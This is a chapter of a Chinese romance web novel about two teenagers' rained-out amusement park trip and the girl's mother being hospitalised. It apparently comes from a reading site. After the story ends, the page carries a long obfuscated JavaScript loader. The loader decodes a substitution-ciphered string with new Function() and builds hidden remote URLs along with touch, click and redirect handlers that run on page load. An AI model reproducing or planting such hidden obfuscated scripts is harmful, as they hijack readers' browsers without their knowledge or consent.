16(你能不能不要走)(1 / 2)

追光 岁见 6820 字 2022-06-23

陈临戈发现周兮辞最近有点黏他, 各种意义上的,从八月放假开始,她每天早上八点会准时过来问他醒了没。

见到了也没什么事, 大夏天溪城热得像个蒸炉, 周兮辞哪也不去, 就窝在他家客厅抄作业。

老旧的立柜式空调“嗡嗡”响,陈临戈抱着枕头坐在一旁盯着她,大脑在某个瞬间冒出个无厘头的想法——她该不会是来这里蹭空调的吧?

他想得出神, 也没注意周兮辞在摸鱼玩手机,大概是想跟他说话,扭头看了过来,“陈临戈?”

陈临戈回过神, 视线恍惚了下才挪到她脸上,“怎么了?”

“你想不想出去玩?”周兮辞看着他:“邱琢玉家里投资了城西的游乐园,我们可以免门票进去玩。”

“你作业写完了?”陈临戈看她摊在茶几上的两本暑假作业,一本英语一本数学。

他单是这么一瞟, 英语的头三道单选题, 全错。

陈临戈有些难以置信地看了周兮辞一眼。

“哎呀暑假作业随便写写就行了。”周兮辞低头在看手机, 没注意到陈临戈那难以言说的一眼,“我跟他说我们去了啊,反正你在家也没事。”

她压根没给陈临戈拒绝的机会, 在群里发完消息,丢下一桌的作业:“我先回去做饭,吃完我们先去简凡家跟她汇合。”

周兮辞来去匆匆, 陈临戈的那声好被她“嘭”地一声关在门内。

他搓搓额角, 伸手把她的作业拿到眼前,简单扫了两眼, 挑开她的笔袋,翻翻找找,在最底下找出一支红色笔……芯。

十五道单项选择,仅对了两道。

完型填空大概压根没看内容,ABCDEF随便填了进去。

阅读理解……全军覆没。

陈临戈纠正完单选题,又看了眼周兮辞填的答案,判断出她应该是通过三长一短选最长,三短一长选最短,无法比较选C的做题思路填出来的,唯一对的那两道题,正确选项就是C。

他叹了声气,她还真把学渣这个名头戴的名副其实。

周兮辞在自个家里忙着做饭,并不知道陈临戈会因为一个暑假作业想这么多,本来这作业除了成绩好的那一拨学生,也没几个人会好好写。

她一没空着,二没撕掉几页偷懒已经算很好了,对于正确率与否并不考虑之内。

做好饭,周兮辞跑来叫陈临戈吃饭,见陈临戈拿着自己作业正在写写画画,忙冲了过去,等看见作业本上的红色笔迹,她惊道:“我靠!陈临戈你小学生吗,写作业还订正。”

“你这算不上订正,叫重写。”陈临戈站起身,把红色笔芯塞到她手里,“今天回来去买支笔吧。”

周兮辞往后翻了几页,发现就这会功夫,陈临戈已经从第一页订正到了第十页。

英语这一科的答案在放假前就被英语老师给裁掉回收了,网上虽然有答案,但找起来也并不容易。

这些正确的答案,只能是陈临戈自己选出来的。

周兮辞直到这一刻才真正意识到她和陈临戈之间的差距,哦不,现在起码得是天堑了。

她想挽回点面子,嘴硬道:“我这些都是胡乱写的,反正老师也不会检查,只要不空着就行了。”

“哦,是吗。”陈临戈走到卫生间门口,忽然一本正经叫了她一声:“周兮辞。”

“啊?”

“你这样我真的会怀疑,你真的能考上大学吗?”

“……”周兮辞咬了咬牙:“我跟你们又不一样,反正我只要够溪大的分数线就行了。”

陈临戈思忖片刻,问道:“你想上溪城大学?”

“是啊,怎么了?”周兮辞说:“你别瞧不起人啊,我期末考试的分数上溪大可是稳稳的。”

“是么。”他一副不信的样子。

“你等着。”周兮辞在吃饭时从简凡那里要到班级的期末成绩表,她把自己的分数圈出来递到陈临戈面前:“看。”

陈临戈扫了眼。

语文86、数学92、英语82、理综169,总分429,班级排名36,年级排名2560。

艺体生有降分优惠,只要专业课过线,文化课录取线会比普高生要低一截,她这个成绩放在普高生中算不上好,但在艺体生中已是拔尖。

陈临戈没说什么,夹了一块土豆,面面的,是他喜欢的口感,“下午几点出门。”

“两三点吧,太晚了就体会不到玩水的乐趣了。”周兮辞收起手机:“听说晚上七点还有烟花展。”

陈临戈点点头,埋头扒了几口饭:“那还有点时间。”

“怎么?你有事啊?”

“改你的作业。”

“……”周兮辞拍桌:“我只是个暑假作业,不是高考试卷,不需要劳您大驾!”

“嗯,高考卷子也轮不上我改。”

“……”

夏天两三点出门也还是热,周兮辞没那么讲究,防晒和伞一个不要,毕竟平时训练该晒还得晒,只不过她底子好,一个冬天又能白回来。

简凡家说离得远也不远,但走起来也有三站路,周兮辞那小破车载不了两个人,她在出门前装了几块硬币:“等会坐公交吧,走过去太热了。”

陈临戈看她露在外面的细胳膊长腿,想到陈临舞每回出门,一两百米的路都要穿戴整齐抹好防晒打把伞,问道:“不拿把伞吗?”

“你忘啦,我的伞被你弄丢了。”周兮辞关上门,“走吧,晒习惯了都,我们等下跑快点,就晒不到了。”

陈临戈很想再给她科普一下,跑起来并不会减少光照的面积,但相对来说,光照时间减少,在一方面也确实会减少被晒黑的程度。

他被周兮辞拉着在小区里跑起来,穿过小道,走过绿荫,有一瞬间,他仿佛回到小时候。

她也是这样拉着他,一步步往前走。

陈临戈抬头看向远处的蓝天白云,不由的感慨。

夏天啊夏天,真是好时节。

分别和相遇,都在每一夏。

……

事实证明跑起来还是有用的,周兮辞和陈临戈赶上了刚要启动的公交车,但因为离得近,周兮辞才刚缓过神,就已经快要到站了。

下了车,热潮又涌面而来。

周兮辞懒得再去简凡家里溜一圈,在车站给她打电话喊她直接下楼,“给我带杯水吧,渴死了。”

那头简凡已经出门:“我装了四盒西瓜,等会你先吃一盒。”

她俩还在聊,陈临戈看了眼四周,从站台走了下去,周兮辞看着他进了路旁一家小超市。

没多会,他拿着三瓶水走了出来。

陈临戈拧开一瓶递给周兮辞,等简凡来,又给她一瓶,简凡接过去说了句谢谢,又道:“你们坐公交过来的吗?”

“不然呢,我那车怎么载人。”周兮辞问:“我们现在直接过去游乐园门口跟他们汇合吗?”

“等一下姜姜,她也快到了。”

三人在车站等了十来分钟,等陶姜一下车,又赶忙上了后面刚开过来的另外一路公交。

这趟车上大概都是去终点站的游乐园,人很多,车内的味道并不好闻。

周兮辞从小到大除了说话晚没什么小毛病,唯独晕车晕得厉害。小时候是一闻到汽油味就想吐,大了身体素质好了些,只要不是太难受的环境,都能扛过去,但可能是夏天,车里汗味烟味被冷气一熏,那味道连简凡一个不晕车的都有些受不了。

她本来想问周兮辞要不要先下车,一转头发现周兮辞和陈临戈挨得很近的站在一起——周兮辞两手抓着栏杆,陈临戈贴在她身后替她挡住人群,单手扶着上方的横杆,另只手捂在周兮辞脸上,细长的手指宽大的掌心几乎挡住她的大半张脸。

陈临戈脸上表情淡淡的,好像这是一件习以为常的事情,高抬的手臂绷紧,青筋和肌肉线条忽隐忽现。

简凡碰碰陶姜胳膊:“快看。”

陶姜扭头看了一眼,又立马缩回来,“他们这是在谈恋爱?”

“谁知道呢,早晚的事吧。”简凡挤在人堆里,异常艰难的掏出手机对着周兮辞和陈临戈拍了一张照片。

周兮辞察觉到什么,余光瞥过去,脑袋也动了一下。

陈临戈低头,声音在她头顶上响起:“怎么了?”

他出门前洗了手,用的是她家里卫生间的香皂,淡淡的柠檬香,周兮辞闻了一路,感觉呼吸里都是柠檬味。

她摇摇头说没事,唇瓣一张一合,从他手心里不轻不重地擦过,整个人倏地一僵,也没察觉到身后的人也僵了一下。

好不容易熬到下车,周兮辞被简凡一把拉过去八卦,“快说快说,你跟你这个竹马哥哥怎么回事啊?”

周兮辞一脸懵:“什么怎么回事?”

“别装了,我都拍下来了。”简凡把手机里那张照片翻出来,“啧啧,你是没看到旁边小姐姐们羡慕的目光啊。”

简凡抓拍的角度有些巧妙,照片里,周兮辞只露出一双圆亮的眼睛,正盯着窗外发愣。

陈临戈以一个保护的姿态将她圈在怀里,车外一闪而过的光覆在他脸上,衬得他嘴角的那抹笑意格外温柔。

周兮辞盯着照片看了几秒,忽地像被电打了一样,忙把手机塞回去:“这有什么,我们小时候还睡过一张床呢。”

简凡不信她的欲盖弥彰,但碍着陈临戈还跟在后面,也没多说,只是连连啧声。

周兮辞抬手捂住她的嘴巴,掌心触碰到她柔软的唇瓣,又想起什么,像沾上了什么洪水猛兽似的,猛地撒开了手。

简凡怒道:“周兮辞!你有毛病啊?”

周兮辞没反驳,可不是,她现在就严重怀疑自己是不是有什么毛病了,怎么尽冒出些乱七八糟的想法。

她低头看落在脚边的影子,轻轻叹了声气。

邱琢玉家里是做玉器生意的,这些年家里产业越做越大,各行各业都有所涉猎。

六个人在游乐园门口汇合,工作人员给了邱琢玉一张员工通行卡,虽然可以免去一切费用,但该排的队还是要排。

陈临戈恐高,杜绝一切刺激项目,周兮辞不想他孤零零一个人,玩了一两个项目后就陪着他坐在底下等。

“你去玩吧,不用陪着我,等会不是还有别的不刺激的项目吗?”陈临戈坐在长椅上,看向坐在一旁的周兮辞。

她摇摇头拒绝,“我可能晕车的劲还没过去,今天就先缓缓,反正以后还有机会出来玩。”

陈临戈不置可否,抬眸看向远处的云霄飞车,以及……天边的云:“今天有雨吗?”

“啊?”周兮辞顺着他的视线看过去,不知何时,天空的西面积了一片乌云,“没看预报说有雨啊?”

她拿出手机看了眼天气软件,上面标着一个大太阳,往下一划,六点左右预计会有暴雨。

“好像真的有雨。”周兮辞叹气:“不知道晚上还能不能看得到烟火了。”

陈临戈抻了个懒腰,淡淡道:“夏天的暴雨也是骤雨,很快就会停的。”

只是天空并不作美,暴雨来得仓促,但并不短暂,下起来的时候周兮辞正拉着陈临戈在提前排最后一个水上项目。

豆大的雨滴霎时间从天而降,周兮辞只愣了一瞬,四周的人群已经乱成一团,各自跑向四方躲雨。

下一秒,陈临戈突然拉住她的手腕,冲她笑了一下:“跑啊。”

周兮辞被他拉着在人群中穿梭,奔跑的路上撞见从海盗船上下来的简凡和陶姜,顾不上多说,四个人一同在大雨中奔跑。

一脚踩下去,溅起一片水花。

邱琢玉和大熊从另外一个方向跑过来,身上都是湿淋淋的,他拿手挡在额前,眯着眼说:“走走走,跟我过来,这边有躲雨的地方。”

六人换了方向跑,无奈园区实在太大,能躲的地方已经挤满了人,奔跑的人群中有人骂了声:“去你妈的破雨!非赶着今天来是吗?”

邱琢玉边跑边应了声:“骂得好!”

周围有人哄笑,也有人停下脚步,干脆让这大雨淋个透,嘴里还中二的喊道:“啊!就让这暴风雨来得更猛烈些吧!”

有人喊便有人应:“闭嘴吧你!”

周兮辞也笑了起来,陈临戈回头看了她一眼,什么也没说,只是抓紧了她的手。

他们一直在跑。

“夏天万岁!”

有人高呼。

“万岁个鬼!”

有人回应。

周兮辞在大雨中攥紧了陈临戈的手。

也许这就是夏天,有缠绵的晚风,也有突如其来的大雨。

还有一直牵着手她和他。

……

一场雨打乱了所有人的计划,等到雨稍稍转小,周兮辞几人湿着一身衣服也没了游玩的心情。

“回去吗?”邱琢玉拨了拨一头湿发,他前两天又把头发染回了黑色,比正常发色的黑还要亮一些,沾了水更亮。

周兮辞说:“回吧,我们衣服头发全部都湿了,这会又没有太阳,小心感冒了。”

“那行,等回头有空我再带你们进来玩。”邱琢玉打电话联系了司机送他们几人回家。

到小区门口时雨已经停了。

周兮辞在车里吹了一路空调,下车感受到雨后新生的热意才像是缓过神,搓着胳膊跟坐在车里的陶姜和邱琢玉说再见。

陶姜跟她挥挥手,“拜拜。”

周兮辞叮嘱邱琢玉:“你给我好好把姜姜送回学校,不许带着她出去瞎玩。”

以前有一回聚餐结束,邱琢玉负责送陶姜回学校,路上碰到玩滑板的,他非拉着陶姜过去凑热闹,结果那次陶姜摔伤了胳膊,打了两个月的石膏。

邱琢玉不仅被周兮辞几人狠狠谴责了一番,也被王沪生拉去受苦受难练了好一阵子。

邱琢玉做了个遵命的手势:“保证把人安全送到学校。”

周兮辞这才关上车门,跟陈临戈站在路边看着车开远,她扭头对他说:“走吧,我们也回去了。”

陈临戈跟上她的脚步。

小区里积水未干,雨滴从枝叶的罅隙间落下,像是又一场不停歇的雨,周兮辞抹掉滴在脸上的水珠,看向走在身侧的陈临戈。

他今天除了淋了一场雨,并未玩到什么。

她小声叹了口气。

陈临戈听见了,转头看过来,“怎么了?”

“没事,就想着你今天都没有怎么玩,也没有看到烟火展,挺遗憾的。”

陈临戈不怎么在意:“以后不是还有机会。”

周兮辞心里闷闷的,“你不是快开学了吗?”

“嗯?”陈临戈想起来前一阵子她执着于问他到底什么时候开学,他搪塞不过去便胡乱说了个时间,好像就在八月。

他忽然意识到周兮辞最近的反常,大概……是在弥补什么。

陈临戈这个人说好也好,说恶劣也沾点,他对旁人都克制守礼,好只对周兮辞好,但骨子里仅有的坏也都留给了周兮辞。

他意识到周兮辞的这点小念头,也没戳穿,反而乐在其中:“烟火在哪里都可以看。”

周兮辞低着头,心里更闷了。

沉默着走到六楼,周兮辞见家门开着,还没进去就先喊道:“妈——”

尾音在看见屋里正翻箱倒柜在找些什么的周国成时颤了一下,她站在门边:“爸,你找什么呢?”

“找钱,还能找什么?”周国成沉着一张脸,从客厅走进卧室。

周兮辞以为他又要拿家里的钱去赌,忙跟过去:“爸!妈说过了,不让你再拿家里的钱去——”

“你还知道关心你妈啊!你一天天就晓得忙别人家的事,三天两头往外跑,你知道你妈现在在医院吗?”周国成推开她阻拦的手,“走开!”

周兮辞一时不察,被推着往后退了两步,腿在床尾绊了一下,整个人径直向后倒去,脑袋重重磕在墙上。

她眼前有几秒的发黑,迷蒙中隐约看见周国成朝这边走来,只是还没等走到跟前,眼前突然窜过来一道黑影猛地将周国成推开了。

周国成倒在床上,争辩道:“我不是故意的。”

陈临戈顾不上搭理他,蹲在周兮辞面前,不停叫她的名字:“周兮辞,周兮辞?”

“我没事……”周兮辞脑袋嗡嗡的,紧紧抓着陈临戈的手臂,说:“我妈……”

“在市一院。”周国成已经从床上爬起来,自顾往袋子里装衣服,“我也不知道什么情况,接到电话就让我拿钱过去。”

陈临戈抱着人站起来往外走,周兮辞靠在他怀里,视线里只能看见他绷紧的下颌线。

他很少有这么严肃的时候,她能感受到他呼吸起伏的弧度,像是在忍着火气。

等走到楼下,周兮辞已经缓过神,抓着陈临戈胳膊叫他放自己下来,“我要先去趟医院。”

她这下看得更清楚,他眉眼敛着,唇角紧抿,听了她的话也没松下来多少,声音冷硬:“我陪你一起。”

周兮辞看着他,点点头说好。

徐慈英的情况并不严重,医生说是过度劳累导致的昏厥,只是晕倒时刚好在上台阶,倒下去把脑袋给磕破了。

周兮辞赶到医院的时候,她人已经在普通病房打吊瓶,身上还穿着工作服,领口和胸前都是血迹。

她只觉得脑袋嗡嗡疼,站在床尾叫了声:“妈……”

徐慈英睁开眼,还冲着周兮辞笑:“你怎么来了,我不是叫他们不要给你打电话。”

一旁的小秦阿姨说道:“我叫老周回去取钱,小辞回家刚好碰到他了,再说了你这情况怎么瞒得住。”

徐慈英看了眼门外,又看看周兮辞:“外面还在下雨吗,怎么头发都湿了。”

“没下了,是出去玩弄湿的。”周兮辞走到床边,握住徐慈英的手,“疼不疼啊?”

“不疼了。”徐慈英摸着她的手背,“你怎么让小临也跟着你乱跑。”

陈临戈走到周兮辞身旁:“没关系的徐姨,反正我一个人在家一天到晚也没什么事。”

徐慈英笑笑,跟陈临戈说了几句话,没一会眼睛就又闭上了。

周兮辞在这儿,秦齐红厂里还有事便说要走,周兮辞送她下楼,在路上碰到周国成,秦齐红拍拍她的手背:“你先上楼,我跟你爸说两句。”

“好,小秦阿姨今天谢谢你。”

“哎呀,你这孩子跟我还这么客气。”秦齐红道:“快回去吧,别让你同学一个人在那里等。”

“嗯。”

周兮辞转身上了楼。

四人病房里,徐慈英睡在靠窗边的那张床,帘子挡住视线,陈临戈直到周兮辞走近了才回过神,低声说:“护士刚来换过吊瓶,还有两大一小。”

“哦。”周兮辞走到床边坐下,见徐慈英指甲缝里还有血迹,起身在屋里看了一圈。

陈临戈问:“找什么?”

“盆。”

“我去买。”

“不用了。”周兮辞想到什么,“我爸好像带了。”

提到周国成,陈临戈眉头蹙了起来,脸上有一闪而过的冷意:“他……”

“他这次不是故意的,是我没站稳。”周兮辞不是替周国成开罪,只是事实的确如此。

陈临戈抬眸看向周兮辞,想问这次不是,那上次呢?

可长久沉默后,他松开紧攥的拳头,问道:“周兮辞,你有没有想过离开这里?”

周兮辞神情一愣,对上陈临戈黑沉沉的目光,她忽地有些难以忍受,别开眼低着头说:“没有。”

可能是意料之中的答案,陈临戈并未觉得有多意外,静静看了她一会,也什么都没说。

徐慈英情况不严重,但也还是要住院观察两天,刚好这几天周兮辞放假,她几乎24小时陪在医院里。

普通病房不让陪护,她也不回家,直接睡在一楼大厅的长椅上,好像离开一步,徐慈英的情况都会变得严重。

陈临戈也不拦着她,只是陪着她睡了两天的冷板凳。

好不容易徐慈英捱到出院,周兮辞却病倒了,她已经有好些年没生过病,这一次病来如山倒,安安稳稳在小区门口的诊所扎了三天针。

周兮辞难得有这样脆弱的一面,来探望她的简凡连连嘘声,好像她得了什么不得了的大病:“唉哟,这可怜见的,来让姐姐抱抱。”

还没等抱到,半截被陈临戈拦了下,他指指周兮辞的右手:“小心点,不要碰到。”

“好的,哥。”简凡也不抱了,乖乖坐在床边给周兮辞使眼色,仗着陈临戈看不见,可劲暧昧可劲打趣。

周兮辞干脆闭上眼睛不看她。

没多会,邱琢玉也叫着冲了进来:“老天爷啊,你怎么这么狠心,让我们小辞这么受苦受难啊。”

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();